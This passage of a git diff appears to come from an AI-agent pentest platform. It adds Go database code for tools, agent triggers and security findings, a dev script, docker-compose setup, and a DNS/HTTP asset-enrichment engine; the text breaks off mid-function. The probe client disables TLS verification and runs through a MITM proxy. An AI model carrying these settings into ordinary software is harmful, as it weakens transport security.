||||
}
|
||||
var nodes int
|
||||
d.QueryRow(`SELECT count(*) FROM exploration_nodes WHERE exploration_id=$1`, tk.ExplorationID).Scan(&nodes)
|
||||
if nodes != 0 {
|
||||
t.Fatalf("exploration nodes should be cascade-deleted, got %d", nodes)
|
||||
}
|
||||
var exps int
|
||||
d.QueryRow(`SELECT count(*) FROM explorations WHERE id=$1`, tk.ExplorationID).Scan(&exps)
|
||||
if exps != 0 {
|
||||
t.Fatalf("exploration should be deleted, got %d", exps)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"os"
|
||||
"testing"
|
||||
|
||||
_ "github.com/jackc/pgx/v5/stdlib"
|
||||
)
|
||||
|
||||
// TestMain acquires a PostgreSQL advisory lock (7337741002) for the entire
|
||||
// db test suite. Packages agent and server hold the same lock, so parallel
|
||||
// `go test ./...` runs serialize across packages on the shared dev DB and
|
||||
// avoid cross-package cleanup races (e.g. DELETE FROM assets WHERE id > X
|
||||
// from one package deleting assets created by another).
|
||||
func TestMain(m *testing.M) {
|
||||
dsn, _, err := DSN()
|
||||
if err != nil {
|
||||
// No DB configured — tests that need PG will skip themselves.
|
||||
os.Exit(m.Run())
|
||||
}
|
||||
conn, err := sql.Open("pgx", dsn)
|
||||
if err != nil || conn.Ping() != nil {
|
||||
os.Exit(m.Run())
|
||||
}
|
||||
defer conn.Close()
|
||||
if _, err := conn.Exec(`SELECT pg_advisory_lock(7337741002)`); err != nil {
|
||||
os.Exit(m.Run())
|
||||
}
|
||||
defer conn.Exec(`SELECT pg_advisory_unlock(7337741002)`) //nolint:errcheck
|
||||
os.Exit(m.Run())
|
||||
}
|
||||
+223
@@ -0,0 +1,223 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
)
|
||||
|
||||
// Tool is one row of the built-in tool catalog. key + handler live in code; this
|
||||
// row carries only the page-editable surface: description, parameter schema
|
||||
// (structure read-only, per-param description/default editable), agent binding,
|
||||
// and the on/off switch. See schema.sql §H and agent/toolcatalog.go.
|
||||
type Tool struct {
|
||||
Key string `json:"key"`
|
||||
System bool `json:"system"`
|
||||
Description string `json:"description"`
|
||||
Schema json.RawMessage `json:"schema"`
|
||||
Agents []string `json:"agents"`
|
||||
Enabled bool `json:"enabled"`
|
||||
Kind string `json:"kind"` // builtin | command | script | http
|
||||
Exec json.RawMessage `json:"exec"` // 自定义工具执行规格(kind!=builtin)
|
||||
Deferred bool `json:"deferred"` // schema 延迟(走 SearchExtraTools/ExecuteExtraTool)
|
||||
}
|
||||
|
||||
const toolCols = `key, system, description, schema, agents, enabled, kind, exec, deferred`
|
||||
|
||||
// SeedTool inserts a built-in tool's code-defined defaults ONCE. ON CONFLICT DO
|
||||
// NOTHING: an existing row (possibly edited in the UI) is never overwritten on
|
||||
// startup — that's what keeps page edits from being wiped every restart. Use
|
||||
// UpsertToolForce for an explicit "reset to code default".
|
||||
func (d *DB) SeedTool(key, desc string, schema, agents json.RawMessage) error {
|
||||
if len(schema) == 0 {
|
||||
schema = json.RawMessage("{}")
|
||||
}
|
||||
if len(agents) == 0 {
|
||||
agents = json.RawMessage("[]")
|
||||
}
|
||||
_, err := d.Exec(`
|
||||
INSERT INTO tools(key, system, description, schema, agents, enabled)
|
||||
VALUES ($1, true, $2, $3, $4, true)
|
||||
ON CONFLICT (key) DO NOTHING`, key, desc, schema, agents)
|
||||
return err
|
||||
}
|
||||
|
||||
// AddAgentToToolBinding adds an agent key to the given tools' `agents` arrays if
|
||||
// not already present (idempotent). Used to give the built-in Auto agent its
|
||||
// default toolset on existing DBs.
|
||||
func (d *DB) AddAgentToToolBinding(agentKey string, keys []string) error {
|
||||
for _, k := range keys {
|
||||
if _, err := d.Exec(`UPDATE tools SET agents = agents || to_jsonb($1::text) WHERE key=$2 AND NOT (agents ? $1)`, agentKey, k); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// RemoveAgentFromToolBindings strips an agent key from every tool's `agents`
|
||||
// JSONB array — called when a custom agent is deleted so no tool keeps a dangling
|
||||
// binding. Uses jsonb `-` (remove array element) guarded by `?` (membership).
|
||||
func (d *DB) RemoveAgentFromToolBindings(agentKey string) error {
|
||||
_, err := d.Exec(`UPDATE tools SET agents = agents - $1 WHERE agents ? $1`, agentKey)
|
||||
return err
|
||||
}
|
||||
|
||||
// UpsertToolForce overwrites a tool row with the given code-default values (used by
|
||||
// the per-tool "reset" action). It resets description/schema/agents and re-enables
|
||||
// the tool, but keeps system=true.
|
||||
func (d *DB) UpsertToolForce(key, desc string, schema, agents json.RawMessage) error {
|
||||
if len(schema) == 0 {
|
||||
schema = json.RawMessage("{}")
|
||||
}
|
||||
if len(agents) == 0 {
|
||||
agents = json.RawMessage("[]")
|
||||
}
|
||||
_, err := d.Exec(`
|
||||
INSERT INTO tools(key, system, description, schema, agents, enabled)
|
||||
VALUES ($1, true, $2, $3, $4, true)
|
||||
ON CONFLICT (key) DO UPDATE
|
||||
SET description = EXCLUDED.description,
|
||||
schema = EXCLUDED.schema,
|
||||
agents = EXCLUDED.agents,
|
||||
enabled = true`, key, desc, schema, agents)
|
||||
return err
|
||||
}
|
||||
|
||||
// RefreshToolDefaults updates a system tool's model-facing description + schema to the
|
||||
// code defaults, PRESERVING the user's agent binding + enabled flag. Used by one-time
|
||||
// migrations to propagate a code schema change (SeedTool is first-insert-only, so a new
|
||||
// parameter added in code otherwise never reaches an already-seeded row). No-op for
|
||||
// custom tools or unknown keys.
|
||||
func (d *DB) RefreshToolDefaults(key, desc string, schema json.RawMessage) error {
|
||||
if len(schema) == 0 {
|
||||
schema = json.RawMessage("{}")
|
||||
}
|
||||
_, err := d.Exec(`UPDATE tools SET description=$2, schema=$3, updated_at=now() WHERE key=$1 AND system`, key, desc, schema)
|
||||
return err
|
||||
}
|
||||
|
||||
func scanTool(rows interface{ Scan(...any) error }) (*Tool, error) {
|
||||
var t Tool
|
||||
var agents []byte
|
||||
if err := rows.Scan(&t.Key, &t.System, &t.Description, &t.Schema, &agents, &t.Enabled, &t.Kind, &t.Exec, &t.Deferred); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(agents) > 0 {
|
||||
_ = json.Unmarshal(agents, &t.Agents)
|
||||
}
|
||||
if t.Agents == nil {
|
||||
t.Agents = []string{}
|
||||
}
|
||||
return &t, nil
|
||||
}
|
||||
|
||||
// ListTools returns the whole tool catalog, ordered by key.
|
||||
func (d *DB) ListTools() ([]*Tool, error) {
|
||||
rows, err := d.Query(`SELECT ` + toolCols + ` FROM tools ORDER BY key`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []*Tool
|
||||
for rows.Next() {
|
||||
t, err := scanTool(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, t)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// GetTool fetches one tool row (nil if absent).
|
||||
func (d *DB) GetTool(key string) (*Tool, error) {
|
||||
row := d.QueryRow(`SELECT `+toolCols+` FROM tools WHERE key=$1`, key)
|
||||
t, err := scanTool(row)
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, nil
|
||||
}
|
||||
return t, err
|
||||
}
|
||||
|
||||
// CreateCustomTool inserts a user-defined tool (system=false) with an execution
|
||||
// spec. Fails if the key already exists.
|
||||
func (d *DB) CreateCustomTool(t *Tool) error {
|
||||
schema := t.Schema
|
||||
if len(schema) == 0 {
|
||||
schema = json.RawMessage("{}")
|
||||
}
|
||||
exec := t.Exec
|
||||
if len(exec) == 0 {
|
||||
exec = json.RawMessage("{}")
|
||||
}
|
||||
agents, _ := json.Marshal(t.Agents)
|
||||
if len(agents) == 0 {
|
||||
agents = json.RawMessage("[]")
|
||||
}
|
||||
_, err := d.Exec(`
|
||||
INSERT INTO tools(key, system, description, schema, agents, enabled, kind, exec, deferred)
|
||||
VALUES ($1, false, $2, $3, $4, $5, $6, $7, $8)`,
|
||||
t.Key, t.Description, schema, agents, t.Enabled, t.Kind, exec, t.Deferred)
|
||||
return err
|
||||
}
|
||||
|
||||
// UpdateCustomTool updates a custom tool's editable fields (kind/exec/deferred +
|
||||
// desc/schema/agents/enabled). Only touches system=false rows.
|
||||
func (d *DB) UpdateCustomTool(t *Tool) error {
|
||||
schema := t.Schema
|
||||
if len(schema) == 0 {
|
||||
schema = json.RawMessage("{}")
|
||||
}
|
||||
exec := t.Exec
|
||||
if len(exec) == 0 {
|
||||
exec = json.RawMessage("{}")
|
||||
}
|
||||
agents, _ := json.Marshal(t.Agents)
|
||||
if len(agents) == 0 {
|
||||
agents = json.RawMessage("[]")
|
||||
}
|
||||
_, err := d.Exec(`
|
||||
UPDATE tools SET description=$2, schema=$3, agents=$4, enabled=$5, kind=$6, exec=$7, deferred=$8
|
||||
WHERE key=$1 AND system=false`,
|
||||
t.Key, t.Description, schema, agents, t.Enabled, t.Kind, exec, t.Deferred)
|
||||
return err
|
||||
}
|
||||
|
||||
// DeleteCustomTool removes a custom tool (system=false only; built-ins protected).
|
||||
func (d *DB) DeleteCustomTool(key string) error {
|
||||
_, err := d.Exec(`DELETE FROM tools WHERE key=$1 AND system=false`, key)
|
||||
return err
|
||||
}
|
||||
|
||||
// ListCustomTools returns only the user-defined (system=false) tools.
|
||||
func (d *DB) ListCustomTools() ([]*Tool, error) {
|
||||
rows, err := d.Query(`SELECT ` + toolCols + ` FROM tools WHERE system=false ORDER BY key`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []*Tool
|
||||
for rows.Next() {
|
||||
t, err := scanTool(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, t)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// UpdateTool saves the page-editable fields. key is never changed (it is welded to
|
||||
// the Go handler). system tools: the caller must keep the schema structure — only
|
||||
// per-param description/default and the agent binding are meant to move.
|
||||
func (d *DB) UpdateTool(key, desc string, schema, agents json.RawMessage, enabled bool) error {
|
||||
if len(schema) == 0 {
|
||||
schema = json.RawMessage("{}")
|
||||
}
|
||||
if len(agents) == 0 {
|
||||
agents = json.RawMessage("[]")
|
||||
}
|
||||
_, err := d.Exec(`
|
||||
UPDATE tools SET description=$2, schema=$3, agents=$4, enabled=$5 WHERE key=$1`,
|
||||
key, desc, schema, agents, enabled)
|
||||
return err
|
||||
}
|
||||
+215
@@ -0,0 +1,215 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"time"
|
||||
)
|
||||
|
||||
// AgentTrigger is one P3 trigger attached to a custom agent. Four trigger
|
||||
// conditions can be on at once: interval / on_finding / on_goal_met / on_task_timeout.
|
||||
type AgentTrigger struct {
|
||||
ID int64 `json:"id"`
|
||||
AgentKey string `json:"agent_key"`
|
||||
Enabled bool `json:"enabled"`
|
||||
IntervalSec int `json:"interval_sec"`
|
||||
OnFinding bool `json:"on_finding"`
|
||||
OnGoalMet bool `json:"on_goal_met"`
|
||||
OnTaskTimeout bool `json:"on_task_timeout"`
|
||||
IntervalMessage string `json:"interval_message"` // 各触发条件的独立用户消息
|
||||
FindingMessage string `json:"finding_message"`
|
||||
GoalMessage string `json:"goal_message"`
|
||||
TaskTimeoutMessage string `json:"task_timeout_message"`
|
||||
LastFire *time.Time `json:"last_fire,omitempty"`
|
||||
}
|
||||
|
||||
const triggerCols = `id, agent_key, enabled, interval_sec, on_finding, on_goal_met, on_task_timeout, interval_message, finding_message, goal_message, task_timeout_message, last_fire`
|
||||
|
||||
func scanTrigger(sc interface{ Scan(...any) error }) (*AgentTrigger, error) {
|
||||
var t AgentTrigger
|
||||
var lf sql.NullTime
|
||||
if err := sc.Scan(&t.ID, &t.AgentKey, &t.Enabled, &t.IntervalSec, &t.OnFinding, &t.OnGoalMet, &t.OnTaskTimeout,
|
||||
&t.IntervalMessage, &t.FindingMessage, &t.GoalMessage, &t.TaskTimeoutMessage, &lf); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if lf.Valid {
|
||||
t.LastFire = &lf.Time
|
||||
}
|
||||
return &t, nil
|
||||
}
|
||||
|
||||
// CreateTrigger inserts a trigger for agentKey and returns it.
|
||||
func (d *DB) CreateTrigger(t *AgentTrigger) (*AgentTrigger, error) {
|
||||
row := d.QueryRow(`
|
||||
INSERT INTO agent_triggers(agent_key, enabled, interval_sec, on_finding, on_goal_met, on_task_timeout, interval_message, finding_message, goal_message, task_timeout_message)
|
||||
VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10) RETURNING `+triggerCols,
|
||||
t.AgentKey, t.Enabled, t.IntervalSec, t.OnFinding, t.OnGoalMet, t.OnTaskTimeout,
|
||||
t.IntervalMessage, t.FindingMessage, t.GoalMessage, t.TaskTimeoutMessage)
|
||||
return scanTrigger(row)
|
||||
}
|
||||
|
||||
// UpdateTrigger updates a trigger's fields (not last_fire).
|
||||
func (d *DB) UpdateTrigger(t *AgentTrigger) error {
|
||||
_, err := d.Exec(`UPDATE agent_triggers SET enabled=$2, interval_sec=$3, on_finding=$4, on_goal_met=$5, on_task_timeout=$6, interval_message=$7, finding_message=$8, goal_message=$9, task_timeout_message=$10 WHERE id=$1`,
|
||||
t.ID, t.Enabled, t.IntervalSec, t.OnFinding, t.OnGoalMet, t.OnTaskTimeout,
|
||||
t.IntervalMessage, t.FindingMessage, t.GoalMessage, t.TaskTimeoutMessage)
|
||||
return err
|
||||
}
|
||||
|
||||
// DeleteTrigger removes a trigger.
|
||||
func (d *DB) DeleteTrigger(id int64) error {
|
||||
_, err := d.Exec(`DELETE FROM agent_triggers WHERE id=$1`, id)
|
||||
return err
|
||||
}
|
||||
|
||||
// ListTriggersFor returns an agent's triggers.
|
||||
func (d *DB) ListTriggersFor(agentKey string) ([]*AgentTrigger, error) {
|
||||
return d.queryTriggers(`SELECT `+triggerCols+` FROM agent_triggers WHERE agent_key=$1 ORDER BY id`, agentKey)
|
||||
}
|
||||
|
||||
// ListEnabledTriggers returns all enabled triggers (for the scheduler).
|
||||
func (d *DB) ListEnabledTriggers() ([]*AgentTrigger, error) {
|
||||
return d.queryTriggers(`SELECT ` + triggerCols + ` FROM agent_triggers WHERE enabled ORDER BY id`)
|
||||
}
|
||||
|
||||
func (d *DB) queryTriggers(q string, args ...any) ([]*AgentTrigger, error) {
|
||||
rows, err := d.Query(q, args...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
out := []*AgentTrigger{}
|
||||
for rows.Next() {
|
||||
t, err := scanTrigger(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, t)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// TouchTriggerFire records an interval trigger's fire time (now).
|
||||
func (d *DB) TouchTriggerFire(id int64) error {
|
||||
_, err := d.Exec(`UPDATE agent_triggers SET last_fire=now() WHERE id=$1`, id)
|
||||
return err
|
||||
}
|
||||
|
||||
// DeleteTriggersForAgent removes all triggers of an agent (custom agent delete).
|
||||
func (d *DB) DeleteTriggersForAgent(agentKey string) error {
|
||||
_, err := d.Exec(`DELETE FROM agent_triggers WHERE agent_key=$1`, agentKey)
|
||||
return err
|
||||
}
|
||||
|
||||
// ---------- scheduler_state (kv watermarks) ----------
|
||||
|
||||
func (d *DB) GetSchedState(key string) (string, error) {
|
||||
var v string
|
||||
err := d.QueryRow(`SELECT value FROM scheduler_state WHERE key=$1`, key).Scan(&v)
|
||||
if err == sql.ErrNoRows {
|
||||
return "", nil
|
||||
}
|
||||
return v, err
|
||||
}
|
||||
|
||||
func (d *DB) SetSchedState(key, value string) error {
|
||||
_, err := d.Exec(`INSERT INTO scheduler_state(key,value) VALUES ($1,$2)
|
||||
ON CONFLICT (key) DO UPDATE SET value=EXCLUDED.value`, key, value)
|
||||
return err
|
||||
}
|
||||
|
||||
// ---------- event queries (cross-exploration, for the scheduler) ----------
|
||||
|
||||
// TaskEvent is a finding/goal event carrying the owning task's info, used to
|
||||
// compose the trigger message context.
|
||||
type TaskEvent struct {
|
||||
NodeID int64 `json:"node_id"`
|
||||
TaskID int64 `json:"task_id"`
|
||||
TaskDesc string `json:"task_description"`
|
||||
TaskGoal string `json:"task_goal"`
|
||||
Summary string `json:"summary"` // finding summary / goal text
|
||||
VulnClass string `json:"vulnclass"` // finding only
|
||||
Severity string `json:"severity"` // finding only
|
||||
}
|
||||
|
||||
// NewFindingsSince returns findings with node id > lastID across all live tasks,
|
||||
// ordered by id (monotonic watermark → no double-fire).
|
||||
func (d *DB) NewFindingsSince(lastID int64) ([]TaskEvent, error) {
|
||||
rows, err := d.Query(`
|
||||
SELECT n.id, t.id, t.description, t.goal, n.payload
|
||||
FROM exploration_nodes n JOIN tasks t ON t.exploration_id = n.exploration_id
|
||||
WHERE n.kind='finding' AND n.id > $1 AND t.deleted_at IS NULL
|
||||
ORDER BY n.id`, lastID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
out := []TaskEvent{}
|
||||
for rows.Next() {
|
||||
var e TaskEvent
|
||||
var payload []byte
|
||||
if err := rows.Scan(&e.NodeID, &e.TaskID, &e.TaskDesc, &e.TaskGoal, &payload); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var p struct{ Summary, Vulnclass, Severity string }
|
||||
_ = json.Unmarshal(payload, &p)
|
||||
e.Summary, e.VulnClass, e.Severity = p.Summary, p.Vulnclass, p.Severity
|
||||
out = append(out, e)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// TimedOutTasksSince returns tasks that reached status='timeout' with id > lastID,
|
||||
// ordered by id (monotonic watermark → no double-fire across restarts).
|
||||
func (d *DB) TimedOutTasksSince(lastID int64) ([]TaskEvent, error) {
|
||||
rows, err := d.Query(`
|
||||
SELECT id, description, goal FROM tasks
|
||||
WHERE status='timeout' AND deleted_at IS NULL AND id > $1
|
||||
ORDER BY id`, lastID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
out := []TaskEvent{}
|
||||
for rows.Next() {
|
||||
var e TaskEvent
|
||||
if err := rows.Scan(&e.NodeID, &e.TaskDesc, &e.TaskGoal); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
e.TaskID = e.NodeID // task id doubles as NodeID for the watermark
|
||||
e.Summary = e.TaskGoal
|
||||
out = append(out, e)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// MetGoals returns all met goals across live tasks (the scheduler filters out the
|
||||
// ones it already fired for via the persisted fired-set).
|
||||
func (d *DB) MetGoals() ([]TaskEvent, error) {
|
||||
rows, err := d.Query(`
|
||||
SELECT n.id, t.id, t.description, t.goal, n.payload
|
||||
FROM exploration_nodes n JOIN tasks t ON t.exploration_id = n.exploration_id
|
||||
WHERE n.kind='goal' AND n.state='met' AND t.deleted_at IS NULL
|
||||
ORDER BY n.id`)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
out := []TaskEvent{}
|
||||
for rows.Next() {
|
||||
var e TaskEvent
|
||||
var payload []byte
|
||||
if err := rows.Scan(&e.NodeID, &e.TaskID, &e.TaskDesc, &e.TaskGoal, &payload); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var p struct{ Text, Summary string }
|
||||
_ = json.Unmarshal(payload, &p)
|
||||
if p.Text != "" {
|
||||
e.Summary = p.Text
|
||||
} else {
|
||||
e.Summary = p.Summary
|
||||
}
|
||||
out = append(out, e)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
#!/usr/bin/env bash
|
||||
# 开发模式：后端(:8787) + 流量代理(:8788) 与 前端 next dev(:5173) 一起跑。
|
||||
# 前端 /api 反代到后端；Ctrl-C 一并退出。
|
||||
#
|
||||
# 单二进制（前端内嵌）方式见 README「单二进制」一节，不走这个脚本。
|
||||
set -euo pipefail
|
||||
cd "$(dirname "$0")"
|
||||
|
||||
# 退出时结束本进程组内的所有子进程（后端 + 前端）。
|
||||
cleanup() { kill 0 2>/dev/null || true; }
|
||||
trap cleanup EXIT INT TERM
|
||||
|
||||
# 后端（普通 go run，不内嵌前端）；并发 work agent 数在「系统设置」里配置。
|
||||
go run ./cmd/artex -addr :8787 -proxy :8788 &
|
||||
|
||||
# 前端热更新（Vite/Next dev server，/api 反代到 :8787）。
|
||||
( cd web && npm run dev ) &
|
||||
|
||||
echo "[dev] 后端 :8787 / 代理 :8788 / 前端 http://localhost:5173 (Ctrl-C 退出)"
|
||||
wait
|
||||
@@ -0,0 +1,43 @@
|
||||
services:
|
||||
postgres:
|
||||
image: postgres:16-alpine
|
||||
environment:
|
||||
POSTGRES_USER: ${POSTGRES_USER:-artex}
|
||||
POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:?请在 .env 设置 POSTGRES_PASSWORD}
|
||||
POSTGRES_DB: ${POSTGRES_DB:-artex}
|
||||
volumes:
|
||||
- pgdata:/var/lib/postgresql/data
|
||||
healthcheck:
|
||||
test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER:-artex} -d ${POSTGRES_DB:-artex}"]
|
||||
interval: 5s
|
||||
timeout: 3s
|
||||
retries: 10
|
||||
restart: unless-stopped
|
||||
|
||||
artex:
|
||||
image: autumn27/artex:${ARTEX_TAG:-latest}
|
||||
depends_on:
|
||||
postgres:
|
||||
condition: service_healthy
|
||||
environment:
|
||||
ARTEX_PG_DSN: postgres://${POSTGRES_USER:-artex}:${POSTGRES_PASSWORD}@postgres:5432/${POSTGRES_DB:-artex}?sslmode=disable
|
||||
ANTHROPIC_API_KEY: ${ANTHROPIC_API_KEY:-}
|
||||
OPENAI_API_KEY: ${OPENAI_API_KEY:-}
|
||||
ARTEX_LLM_PROVIDER: ${ARTEX_LLM_PROVIDER:-}
|
||||
ARTEX_LLM_MODEL: ${ARTEX_LLM_MODEL:-}
|
||||
ARTEX_LLM_BASE_URL: ${ARTEX_LLM_BASE_URL:-}
|
||||
ARTEX_LLM_PROXY: ${ARTEX_LLM_PROXY:-}
|
||||
ports:
|
||||
- "8787:8787"
|
||||
- "8788:8788"
|
||||
volumes:
|
||||
# 把数据目录（含 jwt.key、SQLite 等）绑定到项目根目录的 data/，
|
||||
# 方便在宿主机直接查看/备份，容器重建也不丢。
|
||||
- ./data:/app/data
|
||||
# 把项目根目录的 skills 挂进容器（覆盖镜像内置的 /app/skills）；
|
||||
# 改 skill 无需重建镜像，容器读的就是宿主机这份。
|
||||
- ./skills:/app/skills
|
||||
restart: unless-stopped
|
||||
|
||||
volumes:
|
||||
pgdata:
|
||||
@@ -0,0 +1,292 @@
|
||||
// Package enrich is the engine-side (non-AI) asset auto-completion layer described
|
||||
// in docs/资产模型与自动关联设计.md §5: an async worker pool that resolves domains
|
||||
// (dnsx) and probes web assets (HTTP, through the recording proxy) and writes the
|
||||
// results back into the asset graph — creating IP/port nodes, resolves/exposes
|
||||
// edges, and filling attrs.dns / attrs.http. DNS is ungated; HTTP probing is gated
|
||||
// by RoE (§5.2).
|
||||
package enrich
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"html"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/Autumn-27/artex/db"
|
||||
|
||||
"github.com/miekg/dns"
|
||||
"github.com/projectdiscovery/dnsx/libs/dnsx"
|
||||
)
|
||||
|
||||
type jobKind int
|
||||
|
||||
const (
|
||||
jobDNS jobKind = iota // resolve a domain
|
||||
jobHTTP // probe a web asset (site)
|
||||
)
|
||||
|
||||
type job struct {
|
||||
kind jobKind
|
||||
id int64 // asset id (domain for DNS, site for HTTP)
|
||||
arg string // host (DNS) or url (HTTP)
|
||||
}
|
||||
|
||||
// Engine owns the resolver, the proxy-routed HTTP client, and the worker pool.
|
||||
type Engine struct {
|
||||
as *db.AssetStore
|
||||
resolv *dnsx.DNSX
|
||||
client *http.Client
|
||||
|
||||
jobs chan job
|
||||
cool sync.Map // dedup/cooldown: "kind:id" -> time.Time (last run)
|
||||
once sync.Once
|
||||
closed chan struct{}
|
||||
}
|
||||
|
||||
const (
|
||||
cooldown = 5 * time.Minute
|
||||
httpTimeout = 12 * time.Second
|
||||
queueSize = 1024
|
||||
)
|
||||
|
||||
// New builds the engine. proxy() returns the recording-proxy address to route HTTP
|
||||
// probes through (so they land in the traffic store), evaluated per request so the
|
||||
// runtime traffic-capture toggle takes effect live; "" = direct. Returns a usable
|
||||
// engine even if the resolver fails to init (DNS becomes a no-op).
|
||||
func New(as *db.AssetStore, proxy func() string, workers int) *Engine {
|
||||
if workers <= 0 {
|
||||
workers = 4
|
||||
}
|
||||
resolv, err := dnsx.New(dnsx.Options{
|
||||
BaseResolvers: dnsx.DefaultResolvers,
|
||||
MaxRetries: 3,
|
||||
QuestionTypes: []uint16{dns.TypeA, dns.TypeAAAA, dns.TypeCNAME},
|
||||
Timeout: 4 * time.Second,
|
||||
})
|
||||
if err != nil {
|
||||
log.Printf("[enrich] dnsx 初始化失败，DNS 解析停用：%v", err)
|
||||
resolv = nil
|
||||
}
|
||||
e := &Engine{
|
||||
as: as,
|
||||
resolv: resolv,
|
||||
client: buildClient(proxy),
|
||||
jobs: make(chan job, queueSize),
|
||||
closed: make(chan struct{}),
|
||||
}
|
||||
for i := 0; i < workers; i++ {
|
||||
go e.worker()
|
||||
}
|
||||
return e
|
||||
}
|
||||
|
||||
// buildClient returns an HTTP client that dials via the recording proxy (resolved
|
||||
// per-request via proxy(), so the traffic-capture toggle applies live) and skips
|
||||
// TLS verification (the proxy re-signs with its MITM CA; targets are often
|
||||
// self-signed — this is a pentest probe).
|
||||
func buildClient(proxy func() string) *http.Client {
|
||||
tr := &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
DisableKeepAlives: true,
|
||||
TLSHandshakeTimeout: httpTimeout,
|
||||
}
|
||||
if proxy != nil {
|
||||
tr.Proxy = func(*http.Request) (*url.URL, error) {
|
||||
p := proxy()
|
||||
if p == "" {
|
||||
return nil, nil // direct
|
||||
}
|
||||
return url.Parse(p)
|
||||
}
|
||||
}
|
||||
return &http.Client{
|
||||
Transport: tr,
|
||||
Timeout: httpTimeout,
|
||||
// cap redirects; keep them within scope by re-checking at probe time
|
||||
CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse },
|
||||
}
|
||||
}
|
||||
|
||||
// ResolveDomain enqueues a DNS resolution for a domain asset (ungated). host is the
|
||||
// FQDN. No-op for an empty engine.
|
||||
func (e *Engine) ResolveDomain(id int64, host string) { e.enqueue(job{jobDNS, id, host}) }
|
||||
|
||||
// ProbeSite enqueues an HTTP probe for a web-asset (site). rawURL is the site URL.
|
||||
func (e *Engine) ProbeSite(id int64, rawURL string) { e.enqueue(job{jobHTTP, id, rawURL}) }
|
||||
|
||||
func (e *Engine) enqueue(j job) {
|
||||
if e == nil || id0(j.id) || j.arg == "" {
|
||||
return
|
||||
}
|
||||
select {
|
||||
case e.jobs <- j:
|
||||
default: // queue full → drop (best-effort enrichment)
|
||||
log.Printf("[enrich] 队列已满，丢弃任务 kind=%d id=%d", j.kind, j.id)
|
||||
}
|
||||
}
|
||||
|
||||
func id0(id int64) bool { return id <= 0 }
|
||||
|
||||
// Close stops the workers (idempotent).
|
||||
func (e *Engine) Close() {
|
||||
if e == nil {
|
||||
return
|
||||
}
|
||||
e.once.Do(func() { close(e.closed) })
|
||||
}
|
||||
|
||||
func (e *Engine) worker() {
|
||||
for {
|
||||
select {
|
||||
case <-e.closed:
|
||||
return
|
||||
case j := <-e.jobs:
|
||||
if e.onCooldown(j) {
|
||||
continue
|
||||
}
|
||||
switch j.kind {
|
||||
case jobDNS:
|
||||
e.doDNS(j.id, j.arg)
|
||||
case jobHTTP:
|
||||
e.doHTTP(j.id, j.arg)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// onCooldown returns true (skip) if this (kind,id) ran within the cooldown window.
|
||||
func (e *Engine) onCooldown(j job) bool {
|
||||
key := string(rune(j.kind)) + ":" + itoa(j.id)
|
||||
if v, ok := e.cool.Load(key); ok {
|
||||
if t, ok := v.(time.Time); ok && time.Since(t) < cooldown {
|
||||
return true
|
||||
}
|
||||
}
|
||||
e.cool.Store(key, time.Now())
|
||||
return false
|
||||
}
|
||||
|
||||
func itoa(n int64) string { return strconv.FormatInt(n, 10) }
|
||||
|
||||
// ---- DNS ----
|
||||
|
||||
func (e *Engine) doDNS(id int64, host string) {
|
||||
if e.resolv == nil {
|
||||
return
|
||||
}
|
||||
data, err := e.resolv.QueryMultiple(host)
|
||||
if err != nil || data == nil {
|
||||
return
|
||||
}
|
||||
ips := uniq(append(append([]string{}, data.A...), data.AAAA...))
|
||||
// Upsert resolved IPs into the asset store.
|
||||
for _, ip := range ips {
|
||||
_, _ = e.as.UpsertIP(db.UpsertIPReq{
|
||||
IP: ip,
|
||||
BoundDomains: []string{host},
|
||||
})
|
||||
}
|
||||
// Record A records as subdomains if host looks like a subdomain.
|
||||
for _, a := range data.A {
|
||||
_, _ = e.as.UpsertSubdomain(db.UpsertSubdomainReq{
|
||||
Domain: host,
|
||||
RecordType: "A",
|
||||
RecordValue: []string{a},
|
||||
})
|
||||
}
|
||||
for _, aaaa := range data.AAAA {
|
||||
